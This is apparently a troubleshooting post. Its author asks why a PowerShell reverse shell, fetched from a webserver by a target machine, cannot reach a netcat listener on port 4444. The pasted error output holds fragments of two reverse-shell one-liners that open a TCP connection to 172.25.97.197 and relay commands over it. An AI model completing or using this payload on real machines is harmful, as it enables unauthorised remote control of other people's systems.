I have an issue once the target machine gets the .ps1 from the webserver. Netcat is also running on 4444.
New-Object : Exception calling ".ctor" with "2" argument(s): "No connection could be made because the target machine
actively refused it 172.25.97.197:4444"
At line:3 char:11
+ $client = New-Object System.Net.Sockets.TCPClient('172.25.97.197',444 ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [New-Object], MethodInvocationException
+ FullyQualifiedErrorId : ConstructorInvokedThrowException,Microsoft.PowerShell.Commands.NewObjectCommand
You cannot call a method on a null-valued expression.
At line:3 char:73
+ ... TCPClient('172.25.97.197',4444);$stream = $client.GetStream();[byte[] ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
You cannot call a method on a null-valued expression.
At line:3 char:141
+ ... 65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
You cannot call a method on a null-valued expression.
At line:3 char:489
+ ... .Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
+ ~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
New-Object : Exception calling ".ctor" with "2" argument(s): "No connection could be made because the target machine
actively refused it 172.25.97.197:4444"
At line:5 char:6
+ $sm=(New-Object Net.Sockets.TCPClient('172.25.97.197',4444)).GetStrea ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [New-Object], MethodInvocationException
+ FullyQualifiedErrorId : ConstructorInvokedThrowException,Microsoft.PowerShell.Commands.NewObjectCommand
You cannot call a method on a null-valued expression.
At line:5 char:107
+ ... byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0) ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull